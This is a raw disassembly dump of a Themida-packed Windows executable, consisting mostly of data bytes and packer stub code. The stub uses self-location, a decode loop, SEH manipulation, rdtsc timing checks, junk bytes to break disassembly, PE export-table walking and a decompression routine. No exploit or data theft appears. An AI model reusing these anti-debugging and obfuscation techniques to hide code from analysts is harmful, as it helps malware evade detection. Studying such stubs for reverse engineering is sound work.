		dd 6BC900h, 0
		dd 57F32600h, 5	dup(0)
		dd 8000h, 4 dup(0)
		dd 0D4C96A00h, 77h, 0
		dd 0DD23D700h, 77h, 0
		dd 0CEAADF00h, 0FF917C5Fh, 490108FFh, 5	dup(0)
		dd 486B9C00h, 2, 2 dup(0)
		dd 84A95300h, 156h, 9 dup(0)
		dd 9F69DD00h, 0DD189A00h, 58DFBF77h, 0
		dd 57A34A00h, 12h dup(0)
		dd 5993A800h, 0BF00F880h, 106B7A00h, 0BAh, 5 dup(0)
		dd 0BC0E3E00h, 66h, 3 dup(0)
		dd 5A000000h, 0B05702h,	3 dup(0)
		dd 0BF743E00h, 82h dup(0)
		dd 58000000h, 2	dup(0)
		dd 0B000h, 0
		dd 48491000h, 2Ah, 13h dup(0)
		dd 5A400800h, 2	dup(0)
		dd 0FB5E200h, 8Ah, 0
		dd 9F6A2D00h, 4DE00000h, 0
		dd 0A5BDD100h, 0FFh, 100h, 58244900h, 0Ah dup(0)
		dd 57274900h, 0EBA6E900h, 77h, 3 dup(0)
		dd 9F69DD00h, 2	dup(0)
		dd 5A619900h, 5	dup(0)
		dd 0FF910C00h, 0FFh, 0
		dd 0E6D70600h, 77h, 0Bh	dup(0)
		dd 0FF8B1400h, 0FFh, 53F00A00h,	24015B00h, 54h,	0E7A14400h
		dd 0A8005077h, 0FDh, 3 dup(0)
		dd 4960200h, 0FFh, 0
		dd 4934EB00h, 46h, 0FE030400h, 0DD59F07Fh, 77h,	57685400h
		dd 0
		dd 9FA00F00h, 3	dup(0)
		dd 53E40900h, 7	dup(0)
		dd 0E776CD00h, 40000077h, 2, 0E75CB500h, 0A7BC2D77h, 0FFh
		dd 54025600h, 12FF5400h, 64h dup(0)
		dd 0A0156400h, 0Dh dup(0)
		dd 597F5D00h, 32h, 0Ch dup(0)
		dd 50F00h, 0
		dd 0B5C800h, 55597400h,	86h, 0
		dd 4934EB00h, 46h, 5AD80900h, 4	dup(0)
		dd 0E4800h, 7 dup(0)
		dd 57313E00h, 2	dup(0)
		dd 100h, 9F939300h, 0Ah	dup(0)
		dd 0E74A3B00h, 77h, 6 dup(0)
		dd 49010800h, 18h dup(0)
		dd 100h, 0
		dd 57FFC200h, 9F710F00h, 0
		dd 59000000h, 88296902h, 3Bh, 6BC900h, 2 dup(0)
		dd 4000FE00h, 0
		dd 28939D00h, 71h, 0
		dd 12FFA400h, 0
		dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0)
		dd 9E0FE600h, 0
		dd 0FD4E8700h, 0CDh, 3 dup(0)
		dd 12FF5400h, 0
		dd 0A777AD00h, 5A71100Dh, 0E9A91300h, 0F7h, 7 dup(0)
		dd 582FD800h, 2	dup(0)
		dd 100h, 0FF918000h, 0FFh, 0
		dd 53E11900h, 0
		dd 93CCBB00h, 0E5h, 0
		dd 800h, 2 dup(0)
		dd 100h, 5 dup(0)
		dd 0C5209900h, 7D11Bh, 8 dup(0)
		dd 57313E00h, 100h, 2 dup(0)
		dd 39000000h, 0Dh, 5A400800h, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53F46D:				; CODE XREF: start:loc_53C0A4j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 60B33D3h
		mov	[ebp+60B102Dh],	edx
		mov	[ebp+60B2891h],	esi
		mov	[ebp+60B217Dh],	eax
		cmp	dword ptr [ebp+60B067Dh], 0
		jz	short loc_53F4A5
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53F4A5:				; CODE XREF: start+5F483j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+60B21A5h],	eax
		push	45h
		call	sub_53F559
		push	783749Ah
		call	sub_53F59F
		push	0A894B25h
		call	sub_53F59F
		jmp	loc_53F6E3
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F559	proc near		; CODE XREF: start+5F49Dp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 60B34C1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53F575:				; CODE XREF: sub_53F559+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53F594
		mov	eax, [ebp+arg_0]
		mov	[ebx+60B342Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53F575
; ---------------------------------------------------------------------------


loc_53F594:				; CODE XREF: sub_53F559+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53F559	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F59F	proc near		; CODE XREF: start+5F4A7p start+5F4B1p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 60B350Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53F5C5:				; CODE XREF: sub_53F59F+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53F5C5
		mov	[ebp+var_84], 0
		lea	edi, [edx+60B342Bh]
		lea	esi, [ebp+var_80]


loc_53F5F5:				; CODE XREF: sub_53F59F+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53F601:				; CODE XREF: sub_53F59F+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53F601
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53F5F5
		popa
		leave
		retn	4
sub_53F59F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53F63F
; ---------------------------------------------------------------------------


loc_53F63B:				; CODE XREF: Themida_:0053F642j
		inc	dword ptr [ebp-4]
		inc	esi


loc_53F63F:				; CODE XREF: Themida_:0053F639j
		cmp	byte ptr [esi],	0
		jnz	short loc_53F63B
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53F6D0
; ---------------------------------------------------------------------------


loc_53F651:				; CODE XREF: Themida_:0053F6D3j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53F6C7
; ---------------------------------------------------------------------------


loc_53F65A:				; CODE XREF: Themida_:0053F6CBj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53F6B4
; ---------------------------------------------------------------------------


loc_53F66A:				; CODE XREF: Themida_:0053F6B8j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53F68C
		cmp	bl, 39h
		ja	short loc_53F68C
		sub	bl, 30h
		jmp	short loc_53F6AE
; ---------------------------------------------------------------------------


loc_53F68C:				; CODE XREF: Themida_:0053F680j
					; Themida_:0053F685j
		cmp	bl, 61h
		jb	short loc_53F69E
		cmp	bl, 66h
		ja	short loc_53F69E
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53F6AE
; ---------------------------------------------------------------------------


loc_53F69E:				; CODE XREF: Themida_:0053F68Fj
					; Themida_:0053F694j
		cmp	bl, 41h
		jb	short loc_53F6AE
		cmp	bl, 46h
		ja	short loc_53F6AE
		sub	bl, 41h
		add	bl, 0Ah


loc_53F6AE:				; CODE XREF: Themida_:0053F68Aj
					; Themida_:0053F69Cj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53F6B4:				; CODE XREF: Themida_:0053F668j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53F66A
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53F6C4
		mov	eax, [ebp-10h]
		stosb


loc_53F6C4:				; CODE XREF: Themida_:0053F6BEj
		inc	dword ptr [ebp-8]


loc_53F6C7:				; CODE XREF: Themida_:0053F658j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53F65A
		add	edx, 4


loc_53F6D0:				; CODE XREF: Themida_:0053F64Fj
		cmp	edx, [ebp-4]
		jb	loc_53F651
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53F6E3:				; CODE XREF: start+5F4B6j
		mov	ecx, 7000h
		lea	edi, [ebp+60B3650h]


loc_53F6EE:				; CODE XREF: start+5F6DEj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53F6EE
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+60B3743h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, edx
		js	loc_53F72B
		push	eax
		mov	ebx, eax
		pop	ebx


loc_53F72B:				; CODE XREF: start+5F70Dj
		sub	eax, edx
		push	0
		push	ebp
		call	sub_53F738
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53F738	proc near		; CODE XREF: start+5F71Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_53F738	endp

; ---------------------------------------------------------------------------
		dd 20C1EC32h, 25F0F380h, 0FFFFF000h, 0FDA8B66h,	0CA8BD8BFh
		dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah
		dd 2D087400h, 1000h, 64E3EB47h,	58Fh, 0C4830000h, 56958D04h
		dd 52060B37h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh
		dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
		dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
		dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
		dd 58Fh, 0C4830000h, 51C36104h,	10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60B3761h
		dd 371F858Dh, 8189060Bh, 0B8h, 0C033595Dh, 8F6496C3h, 5
		dd 4C48300h, 8C66FD8Ah,	7343BBD9h, 0E18015A7h, 0F3BB304h
		dd 0C90ADEB7h, 62850Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 19DDDAC3h, 2DCBF7D6h
		dd 0F9640FCh, 389h, 12D38000h, 0B1985C7h, 1060Bh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 6A82C2C3h, 1C4A56F3h, 0EE949h, 24B30000h, 0B1985C7h
		dd 60Bh, 0A5B30000h, 0B018589h,	6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4C9FDFC3h
		dd 0B3B350BEh, 5585895Bh, 0E8060B13h, 0Dh, 0DD93BABBh
		dd 95DE9B58h, 0FA5E8479h, 38A0FB0h, 0F000000h, 0F85ED9BFh
		dd 7597C681h, 55B80000h, 2B1BC5BCh, 38D0FFFh, 66000000h
		dd 148BCA8Bh, 0C981663Eh, 0C281C652h, 7EB72F31h, 0C281FA8Ah
		dd 421E5E72h, 3860Fh, 8B660000h, 3DEA81CEh, 6650B172h
		dd 0B13AF181h, 0DF8B6652h, 663E048Fh, 502099B8h, 0FD8AF960h
		dd 0EF835961h, 0FCEC8004h, 8B14FF81h, 850FFFFFh, 19h, 2CE9D98Bh
		dd 0DF000000h, 4B518213h, 0FEF64D26h, 0EAD682B6h, 3D1ED6DEh
		dd 0CE8B6637h, 0FFFF91E9h, 0F520FFh, 76976E21h,	0D1CA97D2h
		dd 49CECE0Dh, 0E9020A3Ch, 6E8h,	9E9h, 9034EA00h, 8A94379Fh
		dd 2171799h, 10750000h,	60Bh, 0B8F960F9h, 0
; ---------------------------------------------------------------------------
		pusha
		push	edx
		mov	[ebp+60B120Dh],	esi
		pop	ebx
		movsx	ecx, bx
		popa
		mov	edx, [esp+28h]
		jmp	loc_53F9DB
; ---------------------------------------------------------------------------
		dw 0AEB1h
		dd 0A8E747BEh, 0BB5C5462h
; ---------------------------------------------------------------------------
		sahf
		push	ds
		cmc


loc_53F9DB:				; CODE XREF: Themida_:0053F9C9j
		mov	[ebp+60B05E9h],	eax
		pusha
		push	ecx
		jmp	loc_53F9F8
; ---------------------------------------------------------------------------
		mov	al, ds:83510AE5h
		sti
		cld
		push	ss
		xchg	al, ah
		inc	esp
		mov	al, ds:0D430C064h


loc_53F9F8:				; CODE XREF: Themida_:0053F9E3j
		pop	edx
		and	ebx, 7379BEDDh
		popa
		jmp	loc_53FA12
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 0B7h
		dd 437B2651h, 46C2C98Dh
		db 21h,	0B4h
; ---------------------------------------------------------------------------


loc_53FA12:				; CODE XREF: Themida_:0053FA00j
		mov	esi, 3Ch
		cld
		add	esi, [esp+24h]
		stc
		lodsw
		mov	[ebp+60B0ED5h],	edx
		add	eax, [esp+24h]
		pusha
		mov	[ebp+60B2119h],	edx
		mov	ecx, edi
		popa
		nop
		jmp	loc_53FA46
; ---------------------------------------------------------------------------
		db 0DAh, 16h, 44h
		dd 416CE41Ah, 0A5BF7397h
		db 0E7h, 0D6h
; ---------------------------------------------------------------------------


loc_53FA46:				; CODE XREF: Themida_:0053FA34j
		push	eax
		pusha
		push	eax
		push	edx
		push	ebx
		pop	ebx
		rdtsc
		jg	$+6
		pop	edx
		pop	eax
		popa
		nop
		jge	loc_53FA6A
		jle	loc_53FA6A
		add	[ebp+60B0DADh],	edx


loc_53FA6A:				; CODE XREF: Themida_:0053FA58j
					; Themida_:0053FA5Ej
		mov	eax, [eax+78h]
		pusha
		mov	esi, [ebp+60B1895h]
		mov	ebx, [ebp+60B0F19h]
		popa
		add	eax, [esp+28h]
		jmp	loc_53FA8C
; ---------------------------------------------------------------------------
		dd 0C5CC8A79h, 0ADFE0F62h
; ---------------------------------------------------------------------------


loc_53FA8C:				; CODE XREF: Themida_:0053FA7Fj
		mov	eax, [eax+18h]
		mov	[ebp+60B2E7Dh],	ebx
		inc	eax
		xor	[ebp+60B2049h],	edx
		mov	[ebp+60B3902h],	eax
		pusha
		jmp	loc_53FAAF
; ---------------------------------------------------------------------------
		dd 28EF0207h
		db 0E8h, 55h, 0BBh
; ---------------------------------------------------------------------------


loc_53FAAF:				; CODE XREF: Themida_:0053FAA3j
		call	near ptr loc_53FABE+4
		pop	ss
		or	ch, bl
		adc	dword ptr [ebp-4697FAF4h], 0FFFFFFE9h


loc_53FABE:				; CODE XREF: Themida_:loc_53FAAFp
		mov	ebx, 0E9E06C55h
		pop	es
; ---------------------------------------------------------------------------
		dd 0DF000000h, 0B98E06BEh, 615855A7h, 68C0F58h,	89000000h
		dd 0B100D8Dh, 78708B06h, 6BDB589h, 8E0F060Bh, 10h, 0BE9h
		dd 331F600h, 814D932Ah,	7CAB548Fh, 0F81CC683h, 1AC59501h
		dd 7403060Bh, 0BD892424h, 60B285Dh, 242DBD8Dh, 850F060Bh
		dd 6, 15E98D89h, 1AD060Bh, 0B2D91B5h, 24440306h, 0C880F24h
		dd 0F000000h, 68Dh, 198D8900h, 0AB060B18h, 30F19D29h, 0BD8D060Bh
		dd 60B0535h, 8850Fh, 850F0000h,	2, 0FAD6160h, 183h, 4403F900h
		dd 0B5892424h, 60B1905h, 23D8D89h, 0F90060Bh, 1185h, 0CE900h
		dd 65060000h, 72B1646Fh, 7EFBF5BDh, 0E9503313h,	0Eh, 797154ADh
		dd 93B2A6D8h, 2654DC95h, 0E9901040h, 0Ah, 0EFE31BA1h, 0BF274AA3h
		dd 0F9AB0CC9h, 2889BD8Dh, 0F560060Bh, 0FAD61F9h, 0A89h
		dd 0EBB96000h, 665FCCFAh, 361C88Bh, 29282444h, 0B05B18Dh
		dd 0BF60AB06h, 51564826h, 6890Fh, 0B5290000h, 60B1601h
		dd 95895E61h, 60B0295h,	39028DFFh, 0BD83060Bh, 60B3902h
		dd 0C7107500h, 1C2444h,	8D000000h, 0B3D90B5h, 56E6FF06h
		dd 244403ADh, 0DF8B9728h, 2845858Ah, 0C084060Bh, 73A0474h
		dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh,	0C033D18Bh
		dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
		dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
		dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
		dd 85FF04C6h, 60B05E9h,	0FFFF6FE9h, 95095EFFh, 60B05D5h
		dd 5E9h, 0CF5A4000h, 9589E5ACh,	60B0CC1h, 5E9858Bh, 8D09060Bh
		dd 60B19B9h, 0DE9h, 87C4E00h, 168EEDA3h, 9DADE8D0h, 0E0D1CEA9h
		dd 0C860Fh, 66600000h, 8B4D9BBFh, 0B32D195h, 85036106h
		dd 60B2889h, 0B58960FCh, 60B0E91h, 16798D8Bh, 2B61060Bh
		dd 519589F6h, 96060B0Dh, 2DF19589h, 0AD66060Bh,	2E0C1FCh
		dd 17F98531h, 8503060Bh, 60B242Dh, 0AE996F8h, 7F000000h
		dd 0E5A1573Eh, 90B81B1h, 8BF9ADDEh, 0F24244Ch, 683h, 79B58900h
		dd 3060B15h, 0E9242444h, 10h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h
		dd 0C4D39B7Bh, 1C244489h, 6880Fh, 9D890000h, 60B233Dh
		dd 89ACF596h, 0B2049BDh, 0F8C93206h, 880FC1FEh,	0Bh, 9958B60h
		dd 80060B1Bh, 0D061DDCAh, 0C1830FD0h, 0F000000h, 188Bh
		dd 13E900h, 0A8540000h,	70B744E9h, 745CFFECh, 0F145EF55h
		dd 74BD6BCAh, 0FD0D0B4h, 9B83h,	8D8B6000h, 60B1661h, 2860Fh
		dd 0E3B70000h, 0FD0D061h, 8382h, 419D8900h, 0D0060B0Dh
		dd 75820FD0h, 60000000h, 0DE9h,	0F8769D00h, 1150FE88h
		dd 548BE7C0h, 860FB287h, 6, 8B0Fh, 60610000h, 69B589FCh
		dd 61060B31h, 890FC9FEh, 0FFFFFF7Bh, 20C483FCh,	0BE9h
		dd 196DC700h, 0CD8B0E46h, 752AB5BAh, 0FC2444C7h, 0
; ---------------------------------------------------------------------------
		stc
		pusha
		mov	edi, [ebp+60B15B5h]
		popa
		mov	eax, 1
		add	[ebp+60B0C15h],	ebx
		lea	ecx, [ebp+60B7305h]
		mov	[ebp+60B3121h],	ecx
		jmp	ecx
; ---------------------------------------------------------------------------
		xor	[ebp+60B01E5h],	eax
		mov	byte ptr [ebp+60B2845h], 0
		jz	loc_53FE48
		jno	loc_53FE48
		stc


loc_53FE48:				; CODE XREF: Themida_:0053FE3Bj
					; Themida_:0053FE41j
		popa
		clc
		retn	8
; ---------------------------------------------------------------------------
		or	[ebp+60B2131h],	edi
		xchg	eax, esi
		jmp	loc_53FE63
; ---------------------------------------------------------------------------
		db 0E3h, 51h, 9Ah
; ---------------------------------------------------------------------------
		push	ds
		cdq
		retn
; ---------------------------------------------------------------------------
		db 0D8h
		db 40h,	52h, 83h
; ---------------------------------------------------------------------------


loc_53FE63:				; CODE XREF: Themida_:0053FE54j
		push	eax
		jo	loc_53FE6E
		pusha
		mov	ah, 95h
		popa


loc_53FE6E:				; CODE XREF: Themida_:0053FE64j
		xchg	eax, esi
		pusha
		movzx	edx, di
		popa
		mov	[ebp+60B3F96h],	esi
		js	loc_53FE8D
		jmp	loc_53FE8D
; ---------------------------------------------------------------------------
		db 96h,	0D1h, 0A1h
		dd 6711C11Fh
		db 0D5h
; ---------------------------------------------------------------------------


loc_53FE8D:				; CODE XREF: Themida_:0053FE7Aj
					; Themida_:0053FE80j
		pusha
		js	loc_53FE96
		mov	dh, ah


loc_53FE96:				; CODE XREF: Themida_:0053FE8Ej
		popa
		mov	[ebp+60B3FC1h],	ecx
		clc
		stc
		lea	esi, [ebp+60B3E7Ah]


loc_53FEA5:				; CODE XREF: Themida_:0053FF06j
		jmp	loc_53FEBC
; ---------------------------------------------------------------------------
		dw 0B515h
		dd 5AF8087Bh, 790A1D57h, 869D78C3h, 1ACC71D1h
; ---------------------------------------------------------------------------


loc_53FEBC:				; CODE XREF: Themida_:loc_53FEA5j
		lea	eax, (loc_5B7E32+3)[ebp]
		jmp	loc_53FEDA
; ---------------------------------------------------------------------------
		db 7Eh
		dd 4FF69C48h, 95A243DAh, 3B3EFBB5h, 0C41C5753h
		db 0EAh, 0F4h
; ---------------------------------------------------------------------------


loc_53FEDA:				; CODE XREF: Themida_:0053FEC2j
		call	eax
		pusha
		mov	[ebp+60B0941h],	esi
		call	sub_53FEFA
		inc	ebx
		das
		std
		mov	[edx-2Eh], edi
		adc	esp, [edi+77h]
		push	ebp
		adc	byte ptr [eax+35EBC4CBh], 2Fh
		lahf

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_53FEFA	proc near		; CODE XREF: Themida_:0053FEE3p
		jmp	sub_53FF08
sub_53FEFA	endp

; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------
		or	[ebx-5], ch
		les	ebx, [ebx]
		movsb
		jz	short loc_53FEA5

; =============== S U B	R O U T	I N E =======================================



sub_53FF08	proc near		; CODE XREF: sub_53FEFAj
		pop	esi
		popa
		pop	esi
		jnb	locret_53FF17
		xor	[ebp+60B1E85h],	ecx

locret_53FF17:				; CODE XREF: sub_53FF08+3j
		retn
sub_53FF08	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 15E98D09h, 0B58B060Bh, 60B3F96h, 0BE860h, 48E40000h
		dd 0B2B5B2h, 21190EC4h,	5BF5B085h, 8BEB8A60h, 0B3365BDh
		dd 8B616106h, 0B3FC18Dh, 0E98D0106h, 2B060B26h,	68A0FC0h
		dd 9000000h, 0B29E59Dh,	5E906h,	75800000h, 8B65829Fh, 0B9E9F9D9h
		dd 60000000h, 100D958Bh, 3261060Bh, 7E926h, 553C0000h
		dd 34E372C7h, 0F02B2ABh, 0C83h,	68D0F00h, 29000000h, 0B0591BDh
		dd 72E906h, 0E9600000h,	13h, 0E0C22B18h, 476F9EDAh, 925069DEh
		dd 3FEA119Ah, 6118D484h, 65950160h, 66060B33h, 4173F081h
		dd 0F8C23261h, 751D7A05h, 8953608Ah, 0B2879BDh,	0CA815A06h
		dd 4ACF33CDh, 60CC8A61h, 0DB58D31h, 0D361060Bh,	98589C8h
		dd 35060B27h, 98D10842h, 0AFD9D89h, 0CAFE060Bh,	6870F60h
		dd 8B000000h, 0B063595h, 3D958906h, 61060B2Ah, 850FD20Ah
		dd 0FFFFFFADh, 840F4BFCh, 1, 0B58946F5h, 60B2F11h, 850FDB0Bh
		dd 0FFFFFF47h, 0E58D8960h, 61060B13h, 0F9CFh, 14890Fh
		dd 0E9600000h, 7, 658070DBh, 8BF93479h,	0B0DF99Dh, 0F86106h
		dd 15950900h, 9060B13h,	0B05319Dh, 60000006h, 59BBB66h
		dd 22D9503h, 61060Bh, 0E2806000h, 1995039Ch, 61060B20h
		dd 390D858Dh, 12E9060Bh, 0EA000000h, 0E3ABF9B3h, 7577873Fh
		dd 0CBC1997Ch, 2D2F7387h, 0A9858958h, 29060B08h, 0B03999Dh
		dd 0AF858D06h, 0E9060B3Dh, 8, 0A962A740h, 853EBDC5h, 1FA58589h
		dd 8E8060Bh, 87000000h,	39A79DCBh, 9950B6Dh, 0B33818Dh
		dd 0BF0F5806h, 75C081C9h, 8B000059h, 0B0DF98Dh,	1DB3306h
		dd 0B0841BDh, 334FF06h,	0F7E2805Eh, 1A98F681h, 11E8230Ch
		dd 19000000h, 0D7F5A187h, 6B3D6A6Ch, 10F765DEh,	0E41A509h
		dd 599CEE80h, 0C9C8EE81h, 0EDB96758h, 81438F60h, 8128B9F6h
		dd 918D095Dh, 56060B0Bh, 0EE960h, 9FF30000h, 1FE78470h
		dd 0F8B1CAF7h, 0E7E433BDh, 11619D8Bh, 8F61060Bh, 0BD8B1804h
		dd 60B0681h, 0DA1B529h,	0EB81060Bh, 4E68C54Ah, 6810Fh
		dd 8D8B0000h, 60B29FDh,	0C546C381h, 8E0F4E68h, 0
		dd 0A740FB81h, 850FFFFFh, 0FFFFFF6Dh, 14EBh, 3 dup(0)
		dd 8B0000h, 858D0000h, 60B41B2h, 2F598589h, 0BD83060Bh
		dd 60B40EAh, 34840F00h,	0C6000001h, 0B284585h, 4E85606h
		dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h
		dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 0DE8589D0h, 0C6060B40h
		dd 0B284585h, 0A1685606h, 81667A86h, 31B12404h,	0B5FF362Eh
		dd 60B0B01h, 390D858Dh,	0D0FF060Bh, 40E28589h, 46A060Bh
		dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h,	0EE858B58h
		dd 5060B40h, 1F4h, 9002E0C1h, 6A9050h, 40E295FFh, 8589060Bh
		dd 60B40E6h, 0FFB8D88Bh, 0FFFFFFFFh, 0B2F5995h,	0FFC38B06h
		dd 0B2F5995h, 8DE906h, 0BD830000h, 60B40EAh, 1850F00h
		dd 0C3000000h, 0E6BD8B57h, 0AB060B40h, 40E68583h, 5F04060Bh
		dd 0EABD83C3h, 60B40h, 1850Fh, 60C30000h, 40E6AD83h, 8B04060Bh
		dd 0B40E69Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h
		dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 40DE95FFh
		dd 0C361060Bh, 1DE9h, 5A936800h, 348178DCh, 0DCDA9324h
		dd 0FF006A78h, 0DE95FF33h, 83060B40h, 0B40E6ADh, 0A8E90406h
		dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h
		dd 46068A80h, 0BB470788h, 2, 850FD202h,	5, 1246168Ah, 0E2830FD2h
		dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
		dd 0C0330000h, 850FD202h, 5, 1246168Ah,	2A830FD2h, 2000001h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
		dd 885F078Ah, 2BB4707h,	0E9000000h, 0FFFFFF70h,	1B8h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
		dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
		dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
		dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
		dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
		dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
		dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h,	0E88B02D1h
		dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
		dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 781830D1h
		dd 0A6F6656Bh, 4CAAD507h, 0F6DE3ADEh, 0F35F1089h, 0C9C81EEh
		dd 35AF7A52h, 0ADE67F56h, 7518168Ch, 0AEFA2760h, 1FF8C215h
		dd 0B3D928CFh, 90305B86h, 18968B9Eh, 67A37B4Fh,	0ABE47F56h
		dd 75181583h, 0B3E5277Ah, 1F8DD0Fh, 0A4C236D3h,	0F35B5592h
